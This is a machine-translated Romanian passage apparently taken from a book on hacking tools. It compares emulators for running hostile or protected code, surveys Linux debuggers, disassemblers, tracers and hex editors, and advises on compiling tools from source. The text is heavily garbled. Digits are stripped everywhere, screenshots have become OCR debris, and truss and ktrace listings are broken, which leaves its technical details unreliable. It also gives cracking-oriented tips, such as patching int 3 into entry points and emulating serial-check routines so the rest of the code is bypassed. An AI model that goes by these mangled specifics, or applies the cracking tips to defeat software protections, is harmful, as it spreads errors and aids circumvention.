detaliat Securitate Când rulați un program agresiv pe un emulator, este foarte greu să scapi de gândul că în orice moment poate scăpa de sub controlul său, lăsând în urmă o lungă dâră de distrugere Pe scurt, aceste temeri sunt bine întemeiate Multe dintre emulatoare (DOSBox, Virtual PC) conțin „găuri” care permit codului emulat să acceseze direct memoria emulatorului însuși (de exemplu, apelați funcții API arbitrare ale sistemului de operare principal în numele său și cu privilegiile sale) Cu toate acestea, doar un program special conceput poate „scăpa” emulatorul Rețeaua este o altă chestiune Emularea VLAN păstrează toate vulnerabilitățile sistemului de operare de bază, iar un vierme de rețea îl poate ataca cu ușurință! Prin urmare, sistemul de operare de bază trebuie exclus din VLAN fără greșeală Desigur, o astfel de soluție complică semnificativ comunicarea mașinilor virtuale cu lumea exterioară și, prin urmare, este adesea neglijată Apropo, firewall-urile personale în cea mai mare parte nu controlează rețelele virtuale și nu protejează împotriva intruziunilor Unii emulatori vă permit să interacționați cu mașinile virtuale printr-un mecanism de folder partajat, în timp ce folderul sistemului de operare gazdă este vizibil ca unitate logică sau resursă de rețea Cu toate avantajele acestei abordări, este intuitiv nesigur și nu a găsit prea multă popularitate în rândul hackerilor Notă Capitolul va analiza mai multe atacuri teoretice asupra emulatorului WMware și va oferi recomandări despre cum să vă protejați împotriva lor Extensibilitate Un emulator orientat către profesioniști trebuie să accepte capacitatea de a conecta module externe care simulează echipamente non-standard (de exemplu, HASP) Acest lucru este valabil mai ales pentru studiul apărărilor precum Star Force , care interacționează direct cu hardware-ul și sunt legate de acele caracteristici ale comportamentului său pe care emulatorii obișnuiți uneori nici nu le bănuiesc Unele dintre emulatoare sunt extensibile, altele nu Dar chiar și printre cele mai extensibile dintre ele, gradul de agilitate și profunzimea configurabilității este destul de mic și documentat superficial (dacă este documentat deloc) Acest lucru vine probabil din faptul că foarte, foarte puțini oameni au nevoie cu adevărat de factorul de extensibilitate La urma urmei, emulatoarele nu sunt scrise pentru hackeri! E pacat! Disponibilitatea surselor Disponibilitatea textelor sursă compensează parțial calitatea proastă a documentației și lipsa de extensibilitate a emulatorului Dacă programul experimental refuză să ruleze sub emulator, codul sursă va ajuta la înțelegerea situației și la eliminarea defectului În plus, noi Partea I Prezentare generală a programelor de hacking putem echipa emulatorul cu toate instrumentele de care avem nevoie De exemplu, ar putea fi un dumper de memorie sau un backtrace care vă permite să derulați înapoi execuția unui program În cele din urmă, accesul la textele sursă face posibilă adăugarea rapidă a instrucțiunilor de mașină nedocumentate sau seturi de instrucțiuni ale procesoarelor noi Din păcate, emulatoarele comerciale sunt distribuite fără cod sursă, iar emulatorii OpenSource încă nu sunt încă din tinerețe și sunt nepotriviți pentru rezolvarea unor probleme serioase Vai! „Pace” este un sinonim pentru cuvântul „imperfecțiune”! Calitatea emulării La ce folosește un emulator dacă nu poți rula SoftICE pe el? Puteți, desigur, să utilizați alte programe de depanare (de exemplu, OP Debugger), dar capacitățile lor sunt mult mai limitate, iar unele dintre programele protejate pur și simplu nu funcționează pe emulatoare de calitate scăzută! Pentru a crește viteza de emulare, mulți dezvoltatori trunchiază în mod deliberat setul de comenzi emulate, acceptând doar cele mai relevante dintre ele (în special, acest lucru se aplică comenzilor în mod protejat privilegiat, comenzilor coprocesorului matematic, inclusiv „multimedia” și unele „rare- Earth" comenzi în mod real) Registrele de servicii, semnalizatoarele de urmărire și alte caracteristici similare rămân cel mai adesea neutilizate Cu toate acestea, astfel de emulatoare sunt potrivite nu numai pentru rularea jocurilor! Pot fi folosite ca zonă de „carantină” pentru verificarea programelor proaspăt obținute pentru viruși sau ca mouse experimental pentru experimente cu același Editor de disc Majoritatea emulatorilor comerciali folosesc mecanisme de emulare dinamică, emulând doar comenzi privilegiate și executând tot restul pe un procesor „în direct” - în zona crepusculară a unui spațiu de adrese izolat, înconjurat de o palisadă de porturi virtuale, care nu numai că crește semnificativ performanța, dar adaugă automat și suport pentru toate comenzile multimedia noi (desigur, cu condiția ca procesorul fizic să le accepte) Între timp, în gestionarea excepțiilor, efectele de comandă pe steaguri, metodele de adresare invalide, emulatorii (chiar și cei dinamici!) se comportă adesea foarte diferit față de un procesor real, iar codul de securitate poate să-și dea seama! Cu toate acestea, dacă un program protejat nu funcționează sub un emulator, acest lucru va revolta foarte mult utilizatorii legali Depanator încorporat Programele protejate rezistă depanatoarelor, dezasamblatoarelor, basculantelor și altor arme de hacker în toate modurile posibile De regulă, nu ajunge la inelul zero, deși unele protecții, de exemplu, Themida (fostul Extereme Protector) funcționează și acolo Există zeci, dacă nu sute, de modalități de a „orbi” depanatorul și este greu să le contracarați, mai ales dacă sunteți nou la hacking Puterea emulatorului constă tocmai în faptul că controlează complet codul executabil, iar trucurile obișnuite anti-depanare nu funcționează pe el În plus, limitările hardware ale procesorului emulat nu se aplică emulatorului în sine În special, numărul de puncte de întrerupere „hardware” nu trebuie să fie de patru, ca pe platforma x Dacă este necesar, emulatorul poate suporta o mie sau chiar un milion de puncte de întrerupere, iar condițiile pentru declanșarea lor pot fi pervertite în mod arbitrar (de exemplu, puteți apărea pe fiecare comandă Jx urmând comanda de testare eax, eax, corespunzătoare if ( funcția mea () ) ) Desigur, pentru aceasta emulatorul trebuie să fie echipat cu un depanator integrat Orice alt depanator care rulează sub un emulator, cum ar fi SoftICE, nu primește niciun beneficiu suplimentar Capacitățile depanatoarelor integrate disponibile sunt destul de mici De regulă, acestea nu oferă o funcționalitate mai bună decât debug com și adesea Capitolul Emularea depanatoarelor și emulatoarelor sunt semnificativ inferioare acestuia, așa că ar trebui să se recurgă la ele numai în cazuri extreme, când depanatorii obișnuiți nu mai pot face față protecției Tabel rezumat al caracteristicilor emulatorului Deci, ce emulator ar trebui să alegi? Decizia corectă vă va ajuta să faceți un tabel rezumat al caracteristicilor emulatorului (Tabelul ) Tabelul Evaluarea comparativă a caracteristicilor celor mai populare emulatoare (caracteristicile nefavorabile sunt evidențiate cu gri) DOSBox Bochs Microsoft Virtual PC VMware Server Hep Parallels Workstation Dezvoltatorul Peter Veenstra și Sjoerd cu asistență din partea comunității de utilizatori Kevin Lawton Microsoft VMware Intel și AMD cu contribuții de la Universitatea din Cambridge Parallels Research Group Licență GPL LGPL Sursă închisă (software gratuit din iulie ) Sursă închisă (versiuni gratuite disponibile) GPL Sursă închisă (produs comercial) Gama de utilizatori Utilizatori de aplicații DOS (în special jocuri) Dezvoltatori de software Jucători, dezvoltatori de software, administratori de sistem, angajați de birou Jucători, dezvoltatori de software, administratori de sistem, lucrători de birou, testeri Jucători, dezvoltatori de software, administratori de sistem, lucrători de birou, testeri Pasionați de jocuri, dezvoltatori de software, administratori de sistem, lucrători de birou, testeri Procesoare emulate Intel x Intel x , AMD Intel x Intel x , AMD Corespunde procesorului instalat fizic (sunt acceptate Intel x , AMD , IA- ) Intel x Emulare SMP Indisponibil Implementat Indisponibil Implementat Implementat Nu este disponibil, dar este planificat pentru lansări viitoare acum Principalele sisteme de operare GNU/Linux, Windows, Mac OS X, Mac OS Classic, BeOS, FreeBSD, OpenBSD, Solaris, QNXJRIX Windows, Linux, BeOS, IRIX, AIX Windows Windows, Linux Linux, NetBSD Windows, Linux, Mac OS X ( versiunea Intel) Sistem de operare invitat acceptat oficial Emulare DOS internă DOS, Windows, Linux, xBSD DOS, Windows, OS/ DOS, Windows, Linux, FreeBSD, Netware, Solaris Windows XP și Server, Linux, FreeBSD, NetBSD, OpenBSD DOS, Windows, Linux , FreeBSD, OS/ , Solaris Viteza de emulare în comparație cu sistemul principal Extrem de scăzută Scăzută Ridicată, se apropie de viteza sistemului principal Ridicată, se apropie de viteza sistemului principal Corespunde cu viteza sistemului principal Apropie de viteza sistemului principal capitolul Trusa de instrumente pentru hackeri pentru UNIX și Linux Din punctul de vedere al hackerului, alegerea instrumentelor specifice de săpat de cod pentru UNIX și Linux este limitată În orice caz, este semnificativ mai puțin decât alegerea utilităților similare din lumea Windows Hackerii trebuie să-și facă treaba practic „cu mâinile goale”, iar acest lucru necesită o cantitate suficientă de perseverență și diligență Cel mai deprimant este lipsa unui depanator care să fie egal în capacități, dacă nu cu SoftICE, atunci cel puțin pentru OllyDbg Practic nu există utilitare gata de utilizat și demne precum dumperele de memorie, modificatorii (patcherele), despachetatoarele automate de fișiere împachetate pe net, doar cimitire nesfârșite de proiecte abandonate Prin urmare, trebuie să scrii și tu singur astfel de utilități Să sperăm că în câțiva ani situația se va schimba, pentru că, după cum știți, cererea creează ofertă Deocamdată, ne vom limita la o scurtă prezentare generală a instrumentelor disponibile și, de asemenea, luăm în considerare câteva metode care vă permit să compilați manual proiectele abandonate și care nu mai sunt susținute Notă De regulă, programatorii UNIX tind să nu „blocheze” sursele, iar marea majoritate a programelor (inclusiv cele discutate în acest capitol) sunt distribuite în acest fel Cu toate acestea, mulți utilizatori tind să descarce build-uri binare gata de utilizare, adesea fără să realizeze măcar ce caracteristici le lipsesc În a doua parte a acestui capitol, „Potențialul ascuns al construcțiilor manuale”, vă voi oferi sfaturi și trucuri pe care le puteți folosi pentru a adăuga funcționalitate la instrumentele de hack UNIX dacă nu sunteți mulțumit de acestea setul de caracteristici oferit de executabile gata de utilizare Depanatoare În primul rând, GDB merită menționat - un depanator multiplatform la nivel de sursă bazat pe biblioteca Ptrace și concentrat în primul rând pe depanarea aplicațiilor care vin cu texte sursă Nu este foarte potrivit pentru piratarea aplicațiilor protejate Depanatorul acceptă punctele de întrerupere de execuție hardware Punctele de întrerupere de citire/scriere în memorie nu funcționează atunci când sunt rulate de sub VMware În plus, GDB nu oferă posibilitatea de a seta puncte de întrerupere pe memoria partajată și de a o modifica (înseamnă că este greu posibil să depanați un utilitar ca Îs cu acesta) Nu există nicio căutare de memorie ca atare Depanatorul refuză să încarce un fișier cu o structură incorectă sau cu un tabel cu secțiuni lipsă În exterior, este o aplicație consolă (Fig ) cu un sistem complex Dacă nu sunteți familiarizat cu această bibliotecă, citiți în primul rând documentația minimă necesară despre ea lansând comanda man ptrace Capitolul Instrumente de hacking pentru UNIX și Linux comenzi, a căror descriere completă necesită aproximativ trei sute de pagini de text mic Dacă doriți, puteți adăuga un shell grafic la depanator (nu trebuie să experimentați lipsa acestuia), dar nu puteți remedia deficiențele enumerate cu o interfață frumoasă Pe parcursul existenței sale, GDB a reușit să achiziționeze un număr mare de tehnici anti-depanare, dintre care multe rămân relevante până în prezent Unul dintre avantajele GDB este că este gratuit Acest depanator este distribuit sub licența GNU (de unde și numele - GNU DeBugger) și este inclus cu majoritatea distribuțiilor UNIX În cele din urmă, poate fi folosit pentru a aplica patch-uri unui fișier executabil fără a părăsi depanatorul Orez Depanatorul GDB la locul de muncă Notă Iată un mic sfat pentru cei care abia încep cu GDB: pentru a seta un punct de întrerupere la punctul de intrare al programului pe care îl depanați, trebuie mai întâi să determinați adresa acestuia În acest scop, veți avea nevoie de utilitarul standard objdump (doar pentru fișierele neprotejate!) sau de o combinație a editorului hexadecimal BIEW și a dezasamblatorului IDA Pro Deci, pentru a ne atinge obiectivul, lansați comanda objdump file name - f, apoi încărcați programul care urmează să fie depanat în GDBZ (gdb -g file name) și lansați comanda break *xxxxxxxxx, unde OxX este adresa de pornire, apoi rulați programul pentru a fi depanat cu executarea comenzii Dacă totul a mers bine, GDB se va opri imediat, predându-ți frâiele Dacă nu se întâmplă acest lucru, deschideți fișierul cu șaisprezece Utilitarul objdump este similar cu utilitarul dumpbin de la Microsoft, dar este conceput pentru fișierele ELF (mai multe despre structura fișierelor ELF în Capitolul , „Dezasamblarea fișierelor ELF sub Linux și BSD”) Objdump conține un simplu dezasamblator Utilitarul necesită un tabel de secțiuni obligatorii, nu poate interpreta câmpurile distorsionate și nu poate face față fișierelor împachetate Cu toate acestea, în absența IDA Pro, se va potrivi Mai multe informații despre utilizarea acestei combinații vor fi oferite mai târziu în acest capitol Partea I Prezentare generală a programelor de hacking Editor bogat BIEW și injectați codul cch (instrucțiunea mașinii int ) în punctul de intrare, după ce vă amintiți conținutul original Apoi reporniți depanatorul și, după ce atingeți punctul de întrerupere, restabiliți conținutul acestuia (set {char} * хХХХХХХХХ = YY) Assembly Language Debugger (ALD) este un depanator rapid la nivel de aplicație, axat pe depanarea limbajului de asamblare și a fișierelor binare (Figura ) Îl puteți descărca de la http://ald sourceforge net/ ALD se bazează pe biblioteca Ptrace cu toate consecințele care urmează Momentan funcționează doar pe platforma x Depanatorul se compilează cu succes sub următoarele sisteme de operare: Linux, FreeBSD, NetBSD și OpenBSD Acceptă punctele de întrerupere a execuției, urmărirea pașilor/instrucțiunilor, vizualizarea/editarea unui dump, deschiderea/schimbarea registrelor și conține un simplu dezasamblator Destul de set de caracteristici ascetice! Prin comparație, chiar și venerabilul debug com pentru MS-DOS a oferit o gamă mai largă de caracteristici Pe de altă parte, ALD este gratuit, distribuit în cod sursă și, cel mai important, nu refuză descărcarea fișierelor care nu conțin un tabel de secțiuni Este destul de potrivit pentru a învăța cum să piratați, dar, din păcate, nu folosește instrumentul principal de hacker Orez Depanator ALD la serviciu Un alt depanator interesant la nivel de sursă este The Dude (http://the-dude sourceforge net/) Ocolește Ptrace și își îndeplinește cu succes sarcinile în care GDB și ALD nu mai pot face față Din păcate, funcționează doar sub Linux, iar fanii altor clone UNIX nu pot decât să invidieze Din punct de vedere arhitectural, The Dude constă din trei părți principale: modulul de bază, dude o, care implementează funcții de depanare de nivel scăzut, un „înveliș” de bibliotecă potrivit - libduderino so și o interfață de utilizator externă - ddbg De fapt, interfața cu utilizatorul este mai bună pentru rescriere imediată Depanatorul este gratuit, dar trebuie mai întâi să vă înregistrați la http://www sourceforge net pentru a-l descărca Linice (http://www linice com/) este un depanator extrem de puternic la nivel de kernel, axat pe lucrul cu fișiere binare fără coduri sursă De fapt, este un analog al SoftICE pentru Linux (Fig ) Acest depanator este instrumentul principal pentru orice hacker Linux În prezent, funcționează doar pe versiunea de kernel (și probabil ), dar compilarea pentru toate celelalte nuclee eșuează din cauza unei erori în fișierul Iceface c Depanatorul adaugă dispozitivul /dev/ice în sistem, ceea ce este ușor Editorul hex BIEW va fi discutat mai detaliat mai târziu în acest capitol Capitolul Instrumente de hacking pentru UNIX și Linux își trădează prezența Cu toate acestea, din cauza disponibilității codului sursă, aceasta nu este o problemă serioasă Apare la apăsarea combinației de tastatură + , iar tastatura USB nu este încă acceptată Nu există încărcător de încărcare și nu este încă așteptat, așa că singura modalitate de depanare este să injectați instrucțiunea mașinii int oz (opcode cch) în punctul de intrare, urmată de restaurarea manuală a conținutului original miercuri dec, ora : : C º CO E -A ? FC FF C E ■> : B СѲ OF - OS E IA СѲ : E BB OS E BB OS OS - СѲ C C E - FC FF C OS FF : MOU EAX,[ESI+ ] : ? „ :C D > = : : > :CO O F t” : ■> : JZ APEL APEL JMP LEA ȘI SHB ADC CC -A ED SS Ѳ COD A ESI,[ESI+OO] [EAX+ OI,BL BYTE PTB [ЕАХ+ ѲІ С AL, AL [root@localhost -]# xwd -out -root linice [root@localhost - # I Orez Nu, acesta nu este un vis, acesta este un analog al SoftICE sub Linux! Editare fișier Vizualizare Ajutor filele terminalului Editare fișier Vizualizați funcții de emulare EAX EBX ECX EDX steaguri x x x x x EBP ESP ESI EDI EIP x x x x x DE Pasul [ Run To Cursor ] J Skip ] [jumpto Cursor, | Alerga [ Segmente ] [ Push Data j FFFF : B F Ă B Orez Panoul principal al emulatorului Partea I Prezentare generală a programelor de hacking Pice (http://pice sourceforge net/) este un depanator experimental de kernel pentru Linux care funcționează doar în modul consolă și implementează caracteristici minime Cu toate acestea, el poate face ceva În cele din urmă, emulatorul x (Fig ), care poate fi descărcat de pe http://ida-x emu sourceforge net/, este un depanator emulator conceput ca un plug-in pentru IDA Pro și distribuit în codul sursă fără precompilare Principalul avantaj al emulatorului este că vă permite să executați fragmente de cod arbitrare pe un procesor virtual De exemplu, poate fi folosit pentru a transfera controlul asupra procedurii de verificare a numărului de serie / parolei, ocolind restul codului Această tehnică combină cele mai bune caracteristici ale analizei statice și dinamice, făcând mult mai ușor să spargeți apărările dificile Dezasamblatoare IDA Pro (http://www datarescue com/idabase) - cel mai bun dezasamblator vreodată, acum disponibil pentru Linux! Admiratorii FreeBSD și ai altor sisteme de operare se pot mulțumi cu versiunea de consolă Windows (Fig ) care rulează sub emulator sau pot lucra cu ea direct de sub MS-DOS, OS / sau Windows Până de curând, IDA Pro a refuzat să demonteze fișierele fără un tabel de secțiuni, dar acest neajuns a fost eliminat în versiunile recente Lipsa depanatoarelor decente sub UNIX transformă IDA Pro în principalul instrument de cracare Aceasta înseamnă că, pe lângă IDA Pro, aveți nevoie și de SDK-ul IDA Pro, care este furnizat numai pentru versiunile comerciale ale IDA Pro Capitolul Setul de instrumente pentru hacking pentru UNIX și Linux Dacă nu aveți ocazia să obțineți IDA Pro, atunci poate că unul dintre următoarele dezasamblatoare vă va atrage atenția: Utilitarul objdump menționat anterior este un utilitar standard care poate fi folosit pentru analiza generală a fișierelor binare Bastard Disassembler (http://bastaird sourceforge net/) este un dezasamblator (sau, mai precis, un mediu de dezasamblare) pentru Linux și FreeBSD Acest mediu de dezasamblare oferă un interpret (similar cu Perl sau Python) cu care puteți încărca și dezasambla fișiere, salvați un dump a codului dezasamblat Oferă posibilitatea de a scrie macrocomenzi P Lida (Linux Interactive DisAssembler) este un dezasamblator interactiv care oferă o serie de funcții specializate (de exemplu, un criptanalizator) Pagina principală a proiectului este http://Iida sourceforge net LDasm (Linux Disassembler) este un wrapper grafic pentru objdump/binutils care imită comportamentul dezasamblatorului W Dasm menționat în Capitolul Puteți descărca LDasm de la http://www feedface com/projects/ldasm html spionii Truss este un utilitar util care vine standard cu majoritatea distribuțiilor UNIX Urmărește apelurile de sistem (syscalls) și semnalele (semnalele) făcute de programul experimental din stratul de aplicație (Fig ), ceea ce vă permite să spuneți multe despre lumea interioară a mecanismului de protecție Orez Urmărirea apelurilor de sistem cu fermă Un exemplu de raport generat de utilitarul truss este prezentat în Lista ptoar( x , , x , x , , x ) pauză( x b ) pauză( x c ) pauză( x d ) pauză( x e ) = ( x b ) stat(" ",Oxbfbff ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) Partea I Prezentare generală a programelor de hacking open(" ", , ) fchdir( x ) open(" ", , ) stat(" ",Oxbfbff d ) open(" ", , ) fstat( ,Oxbfbff d ) fcntl( x , x , x ) sysctl(Oxbfbff c, x , x ab ,Oxbfbff , x , x ) fstatfs( x , xbfbff d ) break( x f ) getdirentnes ( x , x e , x , x a b ) getdirentries( x , x e , x , x a b ) lseek( , x , ) close( ) fchdir( x ) close( ) fstat( ,Oxbfbff ) break( x a ) write( , x f , ) exit( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x ) = ( x e) ieșire din proces, rval = Ktrace este un alt utilitar din pachetul de distribuție standard Acesta urmărește apelurile de sistem, analizarea numelor (traducerea numelor), operațiunile I/O, semnalele, urmărirea modului utilizator și schimbările de context efectuate de programul investigat de la nivelul nucleului Cu alte cuvinte, ktrace este o versiune îmbunătățită a truss, dar spre deosebire de cea din urmă, ktrace produce un raport binar în loc de text (Listing ) Prin urmare, pentru a genera rapoarte, trebuie să utilizați utilitarul kdump Listare ktrace CALL write( x ,Oxbfbff fc, x ) ktrace "ktrace: " GIO fd a scris octeți ktrace RET scrie ktrace CALL write( x ,Oxbfbff c, x ) ktrace „execuția lui aC GIO a eșuat” fd a scris octeți ktrace RET scrie / x ktrace CALL write( x ,Oxbfbff ec, x ) ktrace GIO fd a scris octeți ktrace RET scrie ktrace CALL write( x ,Oxbfbff ec,Oxla) ktrace „Niciun astfel de fișier GIO fd nu a scris de octeți sau director ktrace RET scrie / xla ktrace CALL sigprocmask( x , x cbe ,Oxbfbffa ) ktrace RET sigprocmask ktrace CALL sigprocmask( x , x cbf , ) ktrace RET sigprocmask ktrace CALL exit( x ) ktrace RET ktrace Editori hexadecimale Cele mai puternice dintre editorii hexadecimale sunt Editorul HT universal menționat în Capitolul , care acceptă atât Windows, cât și Linux, iar BIEW (http://belnet dl sourceforge net/sourceforge/biew/biew tar bz ) este hexazecimal Capitolul Setul de instrumente pentru hacking pentru UNIX și Linux un editor care combină funcțiile unui dezasamblator, un codificator și un inspector pentru fișierele ELF (Fig ) Nu există un asamblator încorporat, așa că trebuie să lucrați direct în codul mașinii, ceea ce nu este foarte convenabil Cu toate acestea, nu avem altă opțiune (cu excepția de a adăuga noi înșine asamblatorul) Orez BIEW Hex Editor Alți editori hexadecimale care merită menționați sunt GHex (http://directory fsf org/ All Packages in Directory/ghex html), un editor hex pentru GNOME și KHexEdit (http://hoine online no/~espensa/khexedit/index html) este un editor hexadecimal destul de flexibil pentru KDE, afișând datele în formate hex, octal, binar și text Pentru a lucra cu fișiere mari ( MB sau mai mult), un editor hview experimental dezvoltat special pentru acest scop (în prezent este disponibilă doar o versiune beta), care poate fi descărcat de la http://tdistortion esmartdesign com/Zips/hview tgz, este potrivit De asemenea, vorbind despre editorii hexadecimale pentru UNIX și Linux, nu uitați de emacs, care, împreună cu alte caracteristici, include un editor hexadecimal Amortizoare În UNIX, conținutul memoriei fiecărui procesor este reprezentat ca un set de fișiere situate în directorul /pros Aici sunt stocate și contextul registrelor și alte informații Cu toate acestea, un dump de memorie nu este încă un fișier ELF gata făcut și nu este potrivit pentru utilizare directă Cu toate acestea, este foarte posibil să-i dezasamblați imaginea „brută” Potențialul ascuns al construcțiilor manuale După cum sa menționat la începutul acestui capitol, marea majoritate a software-ului pentru UNIX și Linux este distribuită nu numai sub formă de ansambluri gata făcute, ci și în coduri sursă Cu toate acestea, majoritatea utilizatorilor obișnuiți preferă să descarce gata de utilizare cincizeci Partea I Prezentare generală a programelor de hacking distribuţiile De ce o fac? Da, pur și simplu nu vor să sufere, compilând programul manual Cu toate acestea, nu vă grăbiți să-i învinovățiți imediat pentru lene, spunând că folosirea ansamblurilor gata făcute nu este „modul unix” și deloc hacker Există o serie de motive pentru care versiunile gata făcute sunt uneori mai bune decât codul sursă: P Ansamblul finit are un volum mult mai mic decât textele sursă, chiar comprimat de cel mai bun arhivator Astfel, descărcarea acestora este benefică dacă economisiți trafic sau aveți o conexiune lentă la Internet (în special dial-up) În plus, nu trebuie să uităm că nu fiecare server acceptă CV-ul P În formă dezarhivată, textele sursă ocupă o cantitate semnificativă de spațiu pe disc, iar compilarea în sine necesită o perioadă semnificativă de timp, ceea ce, după cum știți, funcționează întotdeauna împotriva noastră P Configurarea „manuală” a programului necesită citirea atentă a manualelor și studiul scripturilor de configurare Faptul este că ansamblul cu opțiuni implicite, în cel mai bun caz, nu este diferit de ansamblul oficial P Destul de des, trebuie să descărcați fișiere de antet și biblioteci suplimentare, să actualizați compilatorul și așa mai departe Toate acestea necesită, de asemenea, timp și, de asemenea, consumă atât trafic, cât și spațiu pe disc P Calitatea instalatorilor automati lasa de obicei mult de dorit, iar programul compilat mai trebuie finalizat mult timp □ Construcțiile finalizate includ de obicei „bonusuri”, cum ar fi scheme de culori personalizate sau componente suplimentare create de terți (Figura ) În textele sursă oficiale, este posibil ca astfel de „bonusuri” să nu existe Orez Interfață grafică cu depanatorul integrat al emulatorului Bochs, inclus într-una dintre versiunile neoficiale Capitolul Instrumente de hacking pentru UNIX și Linux Orez Versiunea oficială a emulatorului Bochs nu acceptă arhitectura x - , așa că versiunea pe de biți a Linux spune din păcate Ne pare rău, procesorul tău nu este capabil să ruleze nucleul pe de biți, iar boot-ul se oprește (sistemul oprit) fi'O'x ' w- Kiiaâț Orez După recompilare cu comutatorul enable-x - , versiunea pe de biți a Linux pornește fără probleme și rulează la o viteză decentă, chiar dacă Bochs rulează de sub VMware pe un Pentium III Partea I Prezentare generală a programelor de hacking □ Vor exista întotdeauna o mie de motive pentru care un program compilat manual nu va funcționa corect sau instabil Imaginați-vă, de exemplu, o situație în care utilizatorul activează o opțiune ademenitoare care nu este încă finalizată și se află în stadiu de „în construcție” Acest lucru poate duce cu ușurință la erori în cele mai neașteptate locuri □ Programele create manual sunt mult mai greu de eliminat din sistem decât pachetele rpm (cu toate acestea, există utilitare care automatizează acest proces) □ Dacă opțiunile de care aveți nevoie nu se află în versiunea oficială, cum ar fi suportul x - în emulatorul Bochs (Figura ), atunci puteți găsi aproape întotdeauna o versiune neoficială care remediază această deficiență (Figura ) De remarcat, totuși, nu toate ansamblurile neoficiale sunt asamblate corect □ Proverbul „e mai bine să zbori într-o zi decât să alergi într-o oră” nu este aplicabil în lumea corporativă dură, iar dacă ansamblul finit este garantat să funcționeze cumva, atunci nimeni nu ne va plăti pentru a experimenta cu compilarea manuală " fără nici un motiv" Acum să ne uităm la principalele motive pentru care sursele sunt mai bune decât distribuțiile standard □ Compilările nu există pentru toate platformele Acest lucru este valabil mai ales pentru platformele x - și sistemele de operare precum QNX sau BeOS □ Pentru build-urile experimentale alfa și beta, build-urile sunt aproape întotdeauna indisponibile, iar pentru build-urile actuale stabile, acestea sunt lansate rar Prin urmare, dacă nu faci build-uri manuale, de multe ori va trebui să lucrezi cu versiuni vechi de unul sau doi ani (și acest lucru este departe de a fi o exagerare!), aruncând o privire cu invidie la colegii care au asamblat cel mai recent alfa cu un uriaș cantitate de tot felul de „bunătăți” și inovații □ Build-urile out-of-the-box nu includ toate funcționalitățile implementate în codul sursă (în special, popularul emulator Bochs include un depanator interactiv extern în stilul Turbo Debugger, în timp ce build-urile oficiale conțin cel mai simplu depanator integrat din stilul debug com) □ Pentru multe programe, există extensii de la terți care pot fi instalate doar prin recompilare □ Ansamblul finit include adesea o mulțime de componente inutile care consumă doar resurse de procesor și memorie, dar dvs personal pur și simplu nu aveți nevoie de el În special, programul poate suporta consolă și interfețe grafice Dacă doriți să lucrați numai cu linia de comandă și nu intenționați să utilizați shell-uri grafice, atunci motivul direct este să recompilați programul fără suport GUI □ Ansamblurile oficiale sunt compilate cu opțiuni tipice de optimizare comune tuturor procesoarelor Drept urmare, codul este ineficient și suboptim În unele cazuri, este posibil să nu funcționeze deloc (pe procesoare mai vechi sau ) □ Când este lansată o nouă versiune, întregul ansamblu trebuie să fie re-descărcat în întregime, în loc să ridicați doar fișierele modificate (rețineți că acest lucru este valabil pentru programele actualizate frecvent) □ Dacă programul conține o vulnerabilitate, atunci este mai ușor să atacați ansamblul finit, deoarece atacatorul știe locația exactă a tuturor instrucțiunilor mașinii și aspectul memoriei □ Codurile sursă sunt corectate mult mai rapid și mai frecvent decât build-urile (deseori build-urile nu pot fi corectate deloc și trebuie să descărcați întreaga distribuție „patchată”) De aceea, mulți utilizatori preiau programe de recompilare, dar doar câțiva o fac corect} La prima vedere, poate părea că asamblarea manuală este disponibilă oricui Capitolul Instrumente de hacking pentru UNIX și Linux un utilizator avansat care are o experiență minimă cu compilatoare, precum și suficient timp liber și capacitatea de a citi limba engleză fără ajutorul traducătorilor Acest lucru este adevărat, dar numai parțial De fapt, asamblarea manuală este un proces destul de complex, reciproc contradictoriu și neevident, pe care acum vom încerca să îl luăm în considerare Rețineți că aici nu există soluții universale! Fiecare cale are argumentele sale pro și contra Notă Dacă nu aveți încă suficientă experiență în domeniul asamblarii manuale, atunci cea mai bună abordare este să urmați aceste recomandări simple Mai întâi, descărcați ansamblul finit, jucați puțin cu programul, înțelegeți structura directorului și vă simțiți confortabil cu caracteristicile de bază Apoi puteți începe să experimentați referința va fi întotdeauna în fața ochilor dvs Dacă compilarea nu merge așa cum era de așteptat sau dacă programul compilat eșuează, ansamblul de referință va ajuta la stabilirea a ceea ce a mers prost Pregătirea filozofică Compilarea unui program începe întotdeauna cu citirea unei instrucțiuni Accesați site-ul web al proiectului, accesați secțiunea Descărcări, descărcați jurnalul de modificări (modificări, noutăți, fișiere readme) și citiți-le cu atenție Acest lucru este necesar pentru a afla în ce fel versiunea pe care o aveți este diferită de cea pe care o descărcați și dacă aveți nevoie de toate aceste inovații Practica arată că multe programe se opresc în dezvoltarea lor la concepție, iar apoi „se îngrașă”, crescând funcționalitatea în exces Este necesar să urmărim modă și progres, străduindu-ne să folosești cele mai recente versiuni de programe, doar pentru că sunt „cele mai recente”? Codul mașinii, spre deosebire de lapte, nu se deteriorează și nu se acru în timp, iar hackerii, spre deosebire de utilizatorii obișnuiți, sunt mult mai conservatori De obicei sunt foarte neîncrezători în tot ce este nou Așa cum a spus unul dintre ei, „Nu pot lucra cu un instrument care este perfecționat în mâna mea” Utilizatorii în acest sens sunt mult mai „progresiști” și descarcă tot ce cade doar în câmpul lor vizual În același timp, există o prejudecată puternică printre ei că cel mai bine este să descărcați ramuri stabile (stabile), numite și lansări (release), spun ei, funcționează mult mai fiabil decât versiunile experimentale alfa / beta Există un sâmbure de adevăr în asta Cu toate acestea, în general, acesta nu este cazul Versiunile stabile sunt rareori lansate În acest timp, ele conțin bug-uri care sunt eliminate sistematic în versiunile intermediare care au statutul de „instabil” Între atacurile cu erori, dezvoltatorii adaugă funcționalități noi (sau le extind pe cele existente) De exemplu, poate fi implementat suport pentru protocoale avansate de transfer de date sau noi formate de fișiere Ce rost are să așteptăm o lansare când versiunea actuală poate fi descărcată chiar acum? În plus, cu cât mai mulți oameni „se agață” de alfa, cu atât mai multe erori vor fi găsite în el! Nu te baza pe alții să facă treaba pentru tine! Spre deosebire de Microsoft, dezvoltatorii de software gratuit nu pot menține o echipă de testeri beta, așa că utilizatorii înșiși trebuie să lupte împotriva erorilor Cu toate acestea, nu există nicio arbitraritate aici Dacă nu vrei, nu te certa Instrucțiuni pas cu pas Textele sursă sunt de obicei distribuite în arhive împachetate de arhivatorii populari, cum ar fi pkzip, gzip, bzip, mai rar sub forma unui arbore CVS "Ce este CVS?" - tu intrebi Acesta este unul dintre cele mai populare sisteme de control al versiunilor (Concurrent Version System), care permite mai 